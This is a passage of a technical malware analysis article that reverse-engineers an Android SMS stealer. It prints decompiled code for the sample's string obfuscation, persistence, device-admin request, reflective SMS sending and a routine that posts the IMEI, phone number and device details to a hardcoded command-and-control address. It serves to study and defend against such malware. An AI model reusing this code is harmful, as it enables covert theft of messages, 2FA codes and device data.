Android SMS Stealer

In this article, a malicious Android application is analysed. The sample can be found here on Virusbay, or one can use this local mirror. Stealing SMS messages can be done for various reasons. One can obtain a lot of information regarding someone’s life or one can obtain two factor authentication (2FA) tokens from the victim’s phone to access well secured accounts.

Note that code excerpts given with readable names as far as these are known in the current context. If the name of a variable can directly be derived from its type or context, it is renamed without being mentioned in this article. Decisions that cannot be explicitly derived are explained thoroughly.

Below, the technical information regarding the sample is given.

MD5: a1b5c184d447eaac1ed47bc5a0db4725

SHA-1: 98bb4315a5ee3f92a3275f08e45f7e35d9995cd2

SHA-256: c385020ef9e6e04ad08757324f78963378675a1bdb57a4de0fd525cffe7f2139

File type: application/java-archive

File size: 535.6 KB

Detection rate: 32 / 61

Used tooling

The used tool to convert the APK into an Android Studio project is AndroidProjectCreator. Note that the decompilers are not always able to convert the SMALI bytecode into Java. It is therefore a good habit to convert the APK multiple times, using different decompilers.

Check all classes before starting the analysis since the names of the variables are then still untouched. If half of the sample has been refactored already, the newly added code might have been altered already in a previous stage where it wasn’t embedded within the project. An example of this is if a single function within a class does not correctly decompile whilst the rest is refactored. An example is given below.

private Context context;
 
/**
* This is the renamed function, which was previously named "q".
*/
public Context getContext() {
    return context;
}
 
/**
* This is the newly added function, which relies on the original instead of the refactored name.
*/
public String x() {
    return q.LAUNCHER_APPS_SERVICE;
}

Additionally, APKTool has been used separately to obtain the SMALI bytecode of a single class. The Java code was analysed and refactored using Android Studio.

Code analysis methodology

Before the analysis, there is little information known about the sample’s inner workings. To avoid spending time on code that is irrelevant to the goal of the research, one has to make the best possible estimated guesses possible. The AndroidManifest.xml provides information about the requested permissions, services, intent receivers and broadcast receivers.
Regarding the code, the onCreate function within the Main Activity is the starting point of the application. Therefore, it makes sense to start investigating there.

After that, one can dive into the called methods, which most likely resides in multiple classes. Obfuscated code might not reveal what the code does, which is why a deep dive into the rabbit’s hole is required. From there, one can refactor the code upwards, as it becomes clear what the content of each function is.

Note that the analysis speed of this method is exponential. When little is known within the sample, each function takes a while. Since classes are reused in lots of different locations, the first analysis is slow. Every part that is refactored lifts the fog in future classes, thus speeding the analysis of future classes.

Based on my own experience, two full working days of analysing are usually enough to refactor the whole sample. After the first day it feels like little work was done, whereas the second day provides all the missing pieces of the puzzle.

Decompiling the APK

At first, the manifest will be analysed. After that, the Java code will be analysed and refactored. In total, a complete overview of the bot will be given. Throughout the whole analysis, the how and why of the taken actions are explained. Do note that actions that were wrong are not included within this analysis, as to avoid confusion. Note that the package named android contains the default Android classes that are used within the application. As such, this package is out of scope.

The manifest

The manifest reveals a lot about the application, which is why it is analysed first. Below, the complete manifest is given.

<?xml version="1.0" encoding="utf-8"?>
<manifest package="org.starsizew" platformBuildVersionCode="19" platformBuildVersionName="4.4.2-1456859"
  xmlns:android="http://schemas.android.com/apk/res/android">
 
    <uses-sdk android:minSdkVersion="9" />
 
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.WRITE_SMS" />
    <uses-permission android:name="android.permission.READ_SMS" />
    <uses-permission android:name="android.permission.GET_TASKS" />
    <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
    <uses-permission android:name="android.permission.RECEIVE_SMS" />
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" />
    <uses-permission android:name="android.permission.INTERNET" />
    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />
    <uses-permission android:name="android.permission.READ_LOGS" />
    <uses-permission android:name="android.permission.READ_CONTACTS" />
    <application android:theme="@style/AppTheme" android:label="@string/app_name" android:icon="@mipmap/ic_launcher" android:allowBackup="true">
        <activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
            <intent-filter>
                <action android:name="android.intent.action.MAIN" />
                <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <service android:name="org.starsizew.MainService" android:enabled="true" android:exported="true" />
        <service android:name="org.starsizew.Ad" android:enabled="true" android:exported="true" />
        <receiver android:name="org.starsizew.MainServiceBroadcastReceiverWrapper" android:enabled="true" android:exported="false">
            <intent-filter>
                <action android:name="android.intent.action.BOOT_COMPLETED" />
                <action android:name="android.intent.action.SCREEN_ON" />
                <category android:name="android.intent.category.HOME" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.DeviceAdminReceiverWrapper" android:permission="android.permission.BIND_DEVICE_ADMIN">
            <intent-filter>
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
            <meta-data android:name="stopOnDeviceLock" android:value="false" />
            <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
            <meta-data android:name="preventRestart" android:value="true" />
            <intent-filter>
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
                <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
            </intent-filter>
        </receiver>
        <receiver android:name="org.starsizew.Ma">
            <intent-filter android:priority="100">
                <action android:name="android.provider.Telephony.SMS_RECEIVED" />
            </intent-filter>
        </receiver>
    </application>
</manifest>

As can be observed in the manifest, the requested permissions are:

  • CALL_PHONE
  • SEND_SMS
  • WRITE_SMS
  • READ_SMS
  • GET_TASKS
  • ACCESS_NETWORK_STATE
  • READ_PHONE_STATE
  • RECEIVE_SMS
  • WRITE_EXTERNAL_STORAGE
  • INTERNET
  • RECEIVE_BOOT_COMPLETED
  • READ_LOGS
  • READ_CONTACTS

Solemnly based on this information, the malware can call phone numbers and send text messages to phone numbers. Additinally, it can receive and read the text messages. The network state check is used to determine if internet is available on the phone, whereas the internet permission is required to interact with online services.

Both GET_TASKS and READ_LOGS require an elevated privileged to be used. This means that the application has to be either part of the firmware or it should be installed on the privileged partition. The READ_LOGS permission is required to read the logs of other applications on the device, whereas the GET_TASKS permission is required to obtain a list of recently executed tasks.

The main activity of the application is also defined in the manifest, as can be seen below.

<activity android:label="@string/app_name" android:name="org.starsizew.MainActivity">
    <intent-filter>
        <action android:name="android.intent.action.MAIN" />
        <category android:name="android.intent.category.LAUNCHER" />
    </intent-filter>
</activity>

The android:name field contains the path of the class, in which a dot represents a new package. The value of android:label=”@string/app_name” is automatically displayed in Android Studio, but can also be found in the res/values/strings.xml file, as can be seen below.

<string name="app_name">Spy Mouse</string>

There is a class named Ac that is used whenever the device has been started, the screen turns on or the home button is pressed.

<receiver android:name="org.starsizew.Ac" android:enabled="true" android:exported="false">
    <intent-filter>
        <action android:name="android.intent.action.BOOT_COMPLETED" />
        <action android:name="android.intent.action.SCREEN_ON" />
        <category android:name="android.intent.category.HOME" />
    </intent-filter>
</receiver>

The class which uses the device’s administrative permission is named Aa. The excerpt below is taken from the manifest as well.

<receiver android:name="org.starsizew.Aa" android:permission="android.permission.BIND_DEVICE_ADMIN">
    <intent-filter>
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
    <meta-data android:name="stopOnDeviceLock" android:value="false" />
    <meta-data android:name="android.app.device_admin" android:resource="@xml/policies" />
    <meta-data android:name="preventRestart" android:value="true" />
    <intent-filter>
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLE_REQUESTED" />
        <action android:name="android.app.action.ACTION_DEVICE_ADMIN_DISABLED" />
        <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
    </intent-filter>
</receiver>

The last part of the manifest is used to capture the intent regarding a newly received SMS message, for which the class named Ma is responsible. The given priority allows this application to process the intent earlier than others, unless the priority of another application is even higher.

<receiver android:name="org.starsizew.Ma">
    <intent-filter android:priority="100">
        <action android:name="android.provider.Telephony.SMS_RECEIVED" />
    </intent-filter>
</receiver>

Source code analysis

Analysing the source code requires an approach that is based on more than a hunch of the analyst. Basing all choices upon facts provides the best possible result.

The MainActivity

The onCreate function in the MainActivity starts a service, sets a repeating alarm and checks if the administrative permission is granted. Depending if the administrative permission is granted, the function q is executed. The decompiled source code is given below.

protected void onCreate(Bundle bundle) {
    super.onCreate(bundle);
    setContentView(2130903040);
    Context applicationContext = getApplicationContext();
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }
}

Function q
The function q launches an intent to add a new device administrator to group of administrators.

private void q() {
    Intent intent = new Intent("android.app.action.ADD_DEVICE_ADMIN");
    intent.putExtra("android.app.extra.DEVICE_ADMIN"), new ComponentName(this, Aa.class));
    startActivityForResult(intent, 100);
}

The class Aa is given below.

public class Aa extends DeviceAdminReceiver {
    public void onDisabled(Context context, Intent intent) {
        super.onDisabled(context, intent);
    }
 
    public void onEnabled(Context context, Intent intent) {
        super.onEnabled(context, intent);
    }
 
    public void onPasswordChanged(Context context, Intent intent) {
        super.onPasswordChanged(context, intent);
    }
}

This class is a wrapper around the DeviceAdminReceiver, which is why it can be refactored to DeviceAdminReceiverWrapper.

String decryption
Within the MainActivity class, there is a single global variable, named q, which is encrypted. Decrypting it can be done with the functions that are also named q, both of which require different parameters. The code is given below.

private static final String[] q = new String[]{q(q("-]aK\u001f/Yx\n\u0010blU!!")), q(q("-Cu\u0017\u0011%I?\u0004\u000e<\u0003t\u001d\n>L?"))};
 
private static String q(char[] cArr) {
    int length = cArr.length;
    for (int i = 0; length > i; i++) {
        int i2;
        char c = cArr[i];
        switch (i % 5) {
            case 0:
                i2 = 76;
                break;
            case 1:
                i2 = 45;
                break;
            case 2:
                i2 = 17;
                break;
            case 3:
                i2 = 101;
                break;
            default:
                i2 = TransportMediator.KEYCODE_MEDIA_PLAY;
                break;
        }
        cArr[i] = (char) ((char) (i2 ^ c));
    }
    return new String(cArr).intern();
}
 
private static char[] q(String str) {
    char[] toCharArray = str.toCharArray();
    if (toCharArray.length < 2) {
        toCharArray[0] = (char) ((char) (toCharArray[0] ^ TransportMediator.KEYCODE_MEDIA_PLAY));
    }
    return toCharArray;
}

Note that the value of TransportMediator.KEYCODE_MEDIA_PLAY equals 126. In Android Studio, this can be checked by using CTRL and clicking on the KEYCODE_MEDIA_PLAY enum value.

The string array can be decrypted by initialising the variable and printing the value. An IDE which can compile and execute Java code can perform the required actions. The decrypted values of the string array are given below, each new line is a different index within the array, starting at zero.

app.action.ADD_
android.app.extra.

Finding references

Within the onCreate function, certain functions require strings as a parameter. The DevicePolicyManager‘s function getSystemService requires a string which resembles the requested service’s name.

protected void onCreate(Bundle bundle){
    //[omitted]
    applicationContext.startService(new Intent(applicationContext, Tb.class));
    ((AlarmManager) getSystemService(o.W)).setRepeating(0, System.currentTimeMillis(), 9000, PendingIntent.getBroadcast(this, o.z, new Intent(this, Ac.class), o.z));
    if (!((DevicePolicyManager) getSystemService(o.n)).isAdminActive(new ComponentName(this, Aa.class))) {
        q();
    }
}

Upon inspecting the class named o, there are a lot of public strings which are encrypted. The full class is given below.

package org.starsizew;
 
public final class o {
    public static String E = new StringBuilder(q(q("}5\u0005"))).append(f).append(q(q("C0"))).toString();
    public static String Q = (b + y + o + y + q(q("C1\u00031hL")) + y + s);
    public static String R = q(q("r\u001d$\f"));
    public static String T = q(q("V;\u001a="));
    public static String W = q(q("C>\u0016*j"));
    public static int Y;
    public static String a = (b + q(q("\f3\u0007()G*\u0003*f")));
    public static String b = q(q("C<\u0013*hK6"));
    public static String c = q(q("R:\u00186b"));
    public static String d = q(q("V7\u001b"));
    public static String e = new StringBuilder(q(q("K<"))).append(f).append(q(q("Q&"))).toString();
    public static String f = "";
    public static String g = q(q("\u001bbG"));
    public static String h = q(q("Q?\u0004"));
    public static String i = (b + y + o + y + q(q("C1\u00031hL|\u0002+tF|\u00186")));
    public static String j = new StringBuilder(String.valueOf(h.toUpperCase())).append(q(q("}\u00002\u001bBk\u00042\u001c"))).toString();
    public static String k = q(q("C0\u0018*s"));
    public static String l = q(q("` \u00189cA3\u0004,"));
    public static String m = q(q("e\u0017#"));
    public static String n = (p + q(q("}\"\u00184nA+")));
    public static String o = q(q("K<\u0003=iV"));
    public static String p = q(q("F7\u00011dG"));
    public static String q = (b + q(q("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + j);
    public static String r = new StringBuilder(q(q("M<"))).append(f).append(q(q("G\r"))).toString();
    public static String s = q(q("a\u0013;\u0014"));
    public static String t = new StringBuilder(q(q("M\"\u0012"))).append(f).append(q(q("P3"))).append(f).append(q(q("V=\u0005"))).toString();
    public static String u = (T + q(q("}\"\u0012*")) + f + q(q("G:\u0001")));
    public static String v = new StringBuilder(String.valueOf(p.toUpperCase())).append(q(q("}\u00133\u0015Nl"))).toString();
    public static String w = q(q("v7\u000f,JG!\u00049`G"));
    public static int x = 1;
    public static String y = ".";
    public static int z = 0;
 
    private static String q(char[] cArr) {
        int length = cArr.length;
        for (int i = 0; length > i; i++) {
            int i2;
            char c = cArr[i];
            switch (i % 5) {
                case 0:
                    i2 = 34;
                    break;
                case 1:
                    i2 = 82;
                    break;
                case 2:
                    i2 = 119;
                    break;
                case 3:
                    i2 = 88;
                    break;
                default:
                    i2 = 7;
                    break;
            }
            cArr[i] = (char) ((char) (i2 ^ c));
        }
        return new String(cArr).intern();
    }
 
    private static char[] q(String str) {
        char[] toCharArray = str.toCharArray();
        if (toCharArray.length < 2) {
            toCharArray[0] = (char) ((char) (toCharArray[0] ^ 7));
        }
        return toCharArray;
    }
}

Upon decrypting all strings using the two given decryption functions (both named q) and refactoring the names based on the output, the variables make more sense, as can be seen below.

package org.starsizew;
 
public final class StringDatabase {
    public static String _grab = new StringBuilder(decryptCharArray(decryptString("}5\u0005"))).append(emptyString).append(decryptCharArray(decryptString("C0"))).toString();
    public static String AndroidIntentActionCall = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL")) + dot + CALL);
    public static String POST = decryptCharArray(decryptString("r\u001d$\f"));
    public static String time = decryptCharArray(decryptString("V;\u001a="));
    public static String alarm = decryptCharArray(decryptString("C>\u0016*j"));
    public static int integerZero;
    public static String AndroidAppExtra = (android + decryptCharArray(decryptString("\f3\u0007()G*\u0003*f")));
    public static String android = decryptCharArray(decryptString("C<\u0013*hK6"));
    public static String phone = decryptCharArray(decryptString("R:\u00186b"));
    public static String tel = decryptCharArray(decryptString("V7\u001b"));
    public static String inst = new StringBuilder(decryptCharArray(decryptString("K<"))).append(emptyString).append(decryptCharArray(decryptString("Q&"))).toString();
    public static String emptyString = "";
    public static String integer900 = decryptCharArray(decryptString("\u001bbG"));
    public static String sms = decryptCharArray(decryptString("Q?\u0004"));
    public static String AndroidIntentActionUssdOn = (android + dot + intent + dot + decryptCharArray(decryptString("C1\u00031hL|\u0002+tF|\u00186")));
    public static String SMS_RECEIVED = new StringBuilder(String.valueOf(sms.toUpperCase())).append(decryptCharArray(decryptString("}\u00002\u001bBk\u00042\u001c"))).toString();
    public static String abort = decryptCharArray(decryptString("C0\u0018*s"));
    public static String Broadcast = decryptCharArray(decryptString("` \u00189cA3\u0004,"));
    public static String GET = decryptCharArray(decryptString("e\u0017#"));
    public static String device_policy = (device + decryptCharArray(decryptString("}\"\u00184nA+")));
    public static String intent = decryptCharArray(decryptString("K<\u0003=iV"));
    public static String device = decryptCharArray(decryptString("F7\u00011dG"));
    public static String AndroidProviderTelephonySMS_RECEIVED = (android + decryptCharArray(decryptString("\f\"\u00057qK6\u0012*)v7\u001b=wJ=\u0019!)")) + SMS_RECEIVED);
    public static String one_ = new StringBuilder(decryptCharArray(decryptString("M<"))).append(emptyString).append(decryptCharArray(decryptString("G\r"))).toString();
    public static String CALL = decryptCharArray(decryptString("a\u0013;\u0014"));
    public static String operator = new StringBuilder(decryptCharArray(decryptString("M\"\u0012"))).append(emptyString).append(decryptCharArray(decryptString("P3"))).append(emptyString).append(decryptCharArray(decryptString("V=\u0005"))).toString();
    public static String time_perehv = (time + decryptCharArray(decryptString("}\"\u0012*")) + emptyString + decryptCharArray(decryptString("G:\u0001")));
    public static String DEVICE_ADMIN = new StringBuilder(String.valueOf(device.toUpperCase())).append(decryptCharArray(decryptString("}\u00133\u0015Nl"))).toString();
    public static String TextMessage = decryptCharArray(decryptString("v7\u000f,JG!\u00049`G"));
    public static int integerTrue = 1;
    public static String dot = ".";
    public static int integerFalse = 0;
 
    //Decryption functions are omitted for brevity
}

The main service

The next class that is used within the onCreate function is called Tb. This class is started as a service, as can be seen below.

Context applicationContext = getApplicationContext();
applicationContext.startService(new Intent(applicationContext, Tb.class));

All three functions within the service are explained below. Note that the same encryption technique for strings is used as in the previously described classes. Starting from this class onward, the decryption will not be mentioned since the approach is the same in every class.

onCreate
The onCreate function contains a boolean named q, a SharedPreferences object named w and starts a new Thread using the class u. The code is given below.

public void onCreate() {
    super.onCreate();
    q = true;
    this.w = getSharedPreferences(getApplicationContext().getString(2131099651), StringDatabase.integerFalse);
    new Thread(new u(this)).start();
}

Boolean q is also used in the onDestroy function, where it is set to false instead of true. Therefore, this boolean is used to determine if the service is running or not. As such, it can be refactored using the name isActive.

The string which equals 2131099651 in decimal, can be found in res/public.xml and res/strings.xml. Note that the decimal value in the code is written in hexadecimal notation in the XML files. When converted to radix 16 (hexadecimal), the number equals 0x7F060003. The values in the XML files are given below.

[public.xml]
<public type="string" name="PREFS_NAME" i7F060003d="0x7f060003" />
 
[strings.xml]
<string name="PREFS_NAME">AppPrefs</string>

If the config file can be loaded, the bot has already been active before and the latest known configuration can be loaded.

The class which is used to start a new thread will be analysed later on.

onBind
This function is not implemented in the service, since it simply returns an exception. The code is given below.

public IBinder onBind(Intent intent) {
    throw new UnsupportedOperationException(stringError);
}

Note that the string stringError solemnly contains the string Error when it is decrypted, hence its name.

onDestroy
The boolean isActive has its new name since it was already altered during the analysis of the onCreate function. The intent it declares is used to start a service named Tb. This is the same service as is currently being analysed. In case the service would shut down, it automatically restarts itself. The code for this function is given below.

public void onDestroy() {
    super.onDestroy();
    isActive = false;
    Intent intent = new Intent(this, Tb.class);
    intent.setFlags(268435456); 
    startService(intent);
}

Note that 268435456 equals 0x10000000, which is the constant value for FLAG_ACTIVITY_NEW_TASK, as can be seen here on the Android Developers website. Due to this flag, the service is started as a new task within the application.

The main service
The service can be renamed to MainService, as it is the main service within the bot, keeping itself functional and making sure all goes well within the bot.

u – the new thread

The new thread that is created within the onCreate function of the MainService class is given below.

package org.starsizew;
 
final class u implements Runnable {
    final Mainservice mainService;
 
    u(Mainservice mainService) {
        this.mainService = mainService;
    }
 
    public final void run() {
        this.mainService.r.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }
}

At first sight, Android Studio generates an error. This is due to a decompilation error in which two fields in the MainService class are set to private, whereas they should be public or protected. In the code below, the two fields are given and already made public.

public Handler r = new Handler();
public Runnable t = new w(this);

The new class u is now more readable, as can be seen below.

package org.starsizew;
 
final class u implements Runnable {
    final Mainservice mainService;
 
    u(Mainservice mainService) {
        this.mainService = mainService;
    }
 
    public final void run() {
        this.mainService.handler.postDelayed(this.mainService.t, (long) StringDatabase.integerFalse);
    }
}

The handler named r can be refactored to handler. The runnable cannot yet be renamed since the content of the w class is not yet known. To know what the class u does, one should know what the class w does. Note that the StringDatabase.integerFalse equals 0. The delay for the handler to start the runnable is equal to 0 zero miliseconds.

Class w

The class w is a runnable, meaning it is launched as a thread. The run method is started when the thread is started. Besides the decryption functions, there is nothing else present within this class. The class is given below.

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains(StringDatabase.one_ + StringDatabase.inst)) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt(StringDatabase.one_ + StringDatabase.inst, StringDatabase.integerTrue);
        edit.putString(w[0], this.mainService.getApplicationContext().getString(2131099653));
        edit.putString(StringDatabase.inst, "1");
        edit.putLong(StringDatabase.time_perehv, 100);
        edit.putString(w[3], new StringBuilder(String.valueOf(this.mainService.getApplicationContext().getString(2131099652))).append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString(new StringBuilder(w[4]).append(StringDatabase.emptyString).append(w[1]).toString(), a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString(StringDatabase.inst, null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, StringDatabase.inst + w[5]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, w[2]).execute(new String[]{this.mainService.sharedPreferences.getString(w[0], null)});
    }
    this.mainService.handler.postDelayed(this, (long) Constants.int50005);
    if (z) {
        StringDatabase.integerZero++;
    }
}

The class q in which the function a resides will be analysed later. The context of the function provides enough context for now.

This class serves as an example on how important it is to replace the strings from the string array named w. Doing so results in much cleaner code. The cleaned version is given below.

public final void run() {
    boolean z = MainService.e;
    if (!this.mainService.sharedPreferences.contains("one_inst")) {
        Editor edit = this.mainService.sharedPreferences.edit();
        edit.putInt("one_inst1");
        edit.putString("url", "http://37.1.207.31/api/?id=7");
        edit.putString("inst", "1");
        edit.putLong("time_perehv", 100);
        edit.putString("id", new StringBuilder("00122".append(a.q(this.mainService.getApplicationContext()).getDeviceId()).toString());
        edit.putString("imei", a.q(this.mainService.getApplicationContext()).getDeviceId());
        edit.apply();
    }
    List arrayList = new ArrayList();
    if (this.mainService.sharedPreferences.getString("inst", null) == "1") {
        new i(this.mainService.getApplicationContext(), arrayList, "install").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    } else {
        new i(this.mainService.getApplicationContext(), arrayList, "info").execute(new String[]{this.mainService.sharedPreferences.getString("url", null)});
    }
    this.mainService.handler.postDelayed(this, 50005);
    if (z) {
        StringDatabase.integerZero++;
    }
}

Firstly, a check is made if the shared preferences file contains the a key with the string one_inst in it. If this is false, the preference file is instantiated with the C&C url, the installation boolean, time_perehv, the ID and the IMEI number of the device.

If the shared preference file contains the value one_inst, or after the shared preferences file is set, the class i is called using exactly the same parameters but one. The third parameter is either install or info. Before analysing i, class a will be analysed.

Class a

This class contains two functions which are both named q. Note that the string array and its decryption methods are omitted for brevity.

The first function requires a context object as argument: q(Context context). This function is straightforward in its functionality, as can be seen below.

static TelephonyManager q(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}

The system service phone is requested, which makes the functionality obvious. Additinoally, one can look at the type cast, which equals TelephonyManager. A quick refactor makes the code more readable, as can be seen below.

static TelephonyManager getTelephonyManager(Context context) {
    return (TelephonyManager) context.getSystemService(StringDatabase.phone);
}

The second function requires two strings as parameters: q(String str, String str2). Additionally, the code uses reflection in order to invoke a method. The code is given below, in which the decrypted strings from the string array are already replaced.

public static boolean q(String str, String str2) {
    try {
        Class cls = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object invoke = cls.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method method = cls.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objArr = new Object[5];
        objArr[0] = str;
        objArr[2] = str2;
        method.invoke(invoke, objArr);
    } catch (Exception e) {
    }
    return false;
}

The invoked function is named sendTextMessage from the class android.telephony.SmsManager. A quick look on the Android Developers page of the SmsManager class provides the following information:

public void sendTextMessage (String destinationAddress, 
                String scAddress, 
                String text, 
                PendingIntent sentIntent, 
                PendingIntent deliveryIntent)

The variables str and str2 are the first and third argument of the method. The first argument is the destinationAddress and the third argument is text of the SMS. This function sends a text message to a given number with a given body. The refactored method is given below.

public static boolean sendSms(String destinationAddress, String text) {
    try {
        Class SmsManager = Class.forName(StringDatabase.android + ".telephony.SmsManager");
        Object methodGetDefaultSmsManager = SmsManager.getMethod("getDefault", new Class[0]).invoke(null, new Object[0]);
        Method methodSendTextMessage = SmsManager.getMethod(new StringBuilder("send").append(StringDatabase.TextMessage).toString(), new Class[]{String.class, String.class, String.class, PendingIntent.class, PendingIntent.class});
        Object[] objectArray = new Object[5];
        objectArray[0] = destinationAddress;
        objectArray[2] = text;
        methodSendTextMessage.invoke(methodGetDefaultSmsManager, objectArray);
    } catch (Exception e) {
    }
    return false;
}

This class wraps around the TelephonyManager, which is why it can be renamed to TelephonyManagerWrapper.

Class i

This class is an AsyncTask, meaning it runs in the background of the application. An AsyncTask life cycle has four stages:

  1. onPreExecute, which prepares anything within the class that is used later on.
  2. doInBackground, which is the main part of the task.
  3. onProgressUpdate, which is used to update the UI. This method is often left out in malware, since the task needs to remain hidden.
  4. onPostExecute, which is executed after the doInBackground function is finished.

The doInBackground method was properly decompiled, whereas the onPostExecute method failed to decompile using JAD-X, JD-CMD, Fernflower, CFR or Procyon with a JAR made by dex2jar. Using enjarify to generate the JAR yielded no different result. More on the onPostExecute function later.

doInBackground
The doInBackground function is given below. In order to fully understand what it does, class t needs to be analysed first.

protected final Object doInBackground(Object[] objArr) {
    Object obj = null;
    boolean z = true;
    boolean z2 = MainService.e;
    String str = ((String[]) objArr)[StringDatabase.integerFalse];
    t tVar = new t();
    this.e.add(new BasicNameValuePair("method", this.r));
    this.e.add(new BasicNameValuePair("id", this.sharedPreferences.getString("id", null)));
    if (this.r.startsWith("install")) {
        String str2 = "POST";
        this.e.add(new BasicNameValuePair("operator", TelephonyManagerWrapper.getTelephonyManager(context).getNetworkOperatorName()));
        this.e.add(new BasicNameValuePair("model", Build.MODEL));
        this.e.add(new BasicNameValuePair("os", VERSION.RELEASE));
        this.e.add(new BasicNameValuePair("phone", TelephonyManagerWrapper.getTelephonyManager(context).getLine1Number()));
        this.e.add(new BasicNameValuePair("imei", TelephonyManagerWrapper.getTelephonyManager(context).getDeviceId()));
        this.e.add(new BasicNameValuePair("version", s.w));
        this.e.add(new BasicNameValuePair("country", context.getResources().getConfiguration().locale.getCountry()));
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("info")) {
        obj = t.q(str, "POST", this.e);
    } else if (this.r.startsWith("sms")) {
        obj = t.q(str, "POST", this.e);
    }
    if (StringDatabase.integerZero != 0) {
        if (z2) {
            z = false;
        }
        MainService.e = z;
    }
    return obj;
}

After the analysis of t, the new version of the doInBackground function will be given, along with a complete analysis of the class.

Class t

The function q in the class t is given below. Note that some variables have already been renamed based upon their type. Further changes will be explained down below.

public static JSONObject q(String url, String var1, List var2) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient defaultHttpClient;
        try {
            if (var1 == "POST") {
                defaultHttpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(var2, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = defaultHttpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable var12) {
            var10001 = false;
            break label66;
        }
 
        try {
            if (var1 == "GET") {
                defaultHttpClient = new DefaultHttpClient();
                String formattedUrlUtils = URLEncodedUtils.format(var2, "utf-8");
                StringBuilder var3 = new StringBuilder(String.valueOf(url));
                HttpGet httpGet = new HttpGet(var3.append("?").append(formattedUrlUtils).toString());
                inputStream = defaultHttpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable var11) {
            var10001 = false;
        }
    }
 
    label55:
    {
        BufferedReader var14;
        StringBuilder var20;
        try {
            InputStreamReader var18 = new InputStreamReader(inputStream, "iso-8859-1");
            var14 = new BufferedReader(var18, 8);
            var20 = new StringBuilder();
        } catch (Throwable var10) {
            var10001 = false;
            break label55;
        }
 
        while (true) {
            try {
                var1 = var14.readLine();
            } catch (Throwable var8) {
                var10001 = false;
                break;
            }
 
            if (var1 == null) {
                try {
                    inputStream.close();
                    w = var20.toString();
                    break;
                } catch (Throwable var7) {
                    Throwable var15 = var7;
 
                    try {
                        throw var15;
                    } catch (Throwable var6) {
                        var10001 = false;
                        break;
                    }
                }
            }
 
            try {
                var20.append(var1).append("\n");
            } catch (Throwable var9) {
                var10001 = false;
                break;
            }
        }
    }
 
    try {
        JSONObject var16 = new JSONObject(w);
        jsonObject = var16;
    } catch (Throwable var5) {
    }
 
    return jsonObject;
}

This function takes three parameters, the first of which is the URL, as can be seen in the HttpPost constructor (which requires a URL). The URL is then appended using encoded parameters, as to avoid errors on the receiving end. The provided method, which is the second parameter as can be derived from the if-statement then compares if the given string is equal to GET or POST. The third argument, the parameters, are encoded and appended to the URL. The response of the server is returned as a JSONObject. The refactored method is given below.

public static JSONObject callC2(String url, String httpMethod, List parameters) {
    boolean var10001;
    label66:
    {
        DefaultHttpClient httpClient;
        try {
            if (httpMethod == "POST") {
                httpClient = new DefaultHttpClient();
                HttpPost httpPost = new HttpPost(url);
                UrlEncodedFormEntity urlEncodedFormEntity = new UrlEncodedFormEntity(parameters, "UTF-8");
                httpPost.setEntity(urlEncodedFormEntity);
                inputStream = httpClient.execute(httpPost).getEntity().getContent();
                break label66;
            }
        } catch (Throwable throwable) {
            var10001 = false;
            break label66;
        }
 
        try {
            if (httpMethod == "GET") {
                httpClient = new DefaultHttpClient();
                String encodedParameters = URLEncodedUtils.format(parameters, "utf-8");
                StringBuilder urlBuilder = new StringBuilder(String.valueOf(urlBuilder));
                HttpGet httpGet = new HttpGet(urlBuilder.append("?").append(encodedParameters).toString());
                inputStream = httpClient.execute(httpGet).getEntity().getContent();
            }
        } catch (Throwable throwable) {
            var10001 = false;
        }
    }
 
    label55:
    {
        BufferedReader bufferedReader;
        StringBuilder stringBuilder;
        try {
            InputStreamReader inputStreamReader = new InputStreamReader(inputStream, "iso-8859-1");
